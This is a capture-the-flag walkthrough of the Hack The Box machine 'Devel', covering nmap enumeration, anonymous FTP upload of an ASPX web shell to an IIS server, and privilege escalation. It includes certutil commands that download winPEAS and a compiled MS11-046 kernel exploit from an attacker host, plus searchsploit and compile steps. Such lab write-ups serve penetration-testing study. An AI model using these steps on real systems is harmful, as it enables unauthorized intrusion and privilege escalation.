← CTF archive

· Earliest timestamped screenshot

[Hack The Box] Devel

Attack and enumeration notes

21 --> Microsoft ftpd (Anonymous FTP login allowed)
80 --> Microsoft-IIS/7.5

Nmap scan

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Vulnerability research

FTP:

ftp anonymous@10.10.10.5
#anonymous
put test.txt

Screenshot

Uploaded file: http://10.10.10.5/test.txt The server uses ASP.NET, so we can upload an ASPX shell.

Screenshot

CMD URL => http://10.10.10.5/cmdasp.aspx

Screenshot

Chaining commands:

Screenshot

Preparing a PowerShell reverse shell.

ASPX reverse shell: https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx

Screenshot

Privilege escalation

whoami /priv

Screenshot

certutil.exe -urlcache -f "http://10.10.16.9:444/winPEAS.bat" winPEAS.bat

Screenshot

Screenshot

Available kernel exploit:

Screenshot

Search results:

Windows 7 Entreprise 6.1.7600 Build 7600 x86 exploit
# Search 
searchsploit -m windows_x86/local/40564.c
# Compile
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Screenshot

certutil.exe -urlcache -f "http://10.10.16.9:444/MS11-046.exe" MS11-046.exe

Screenshot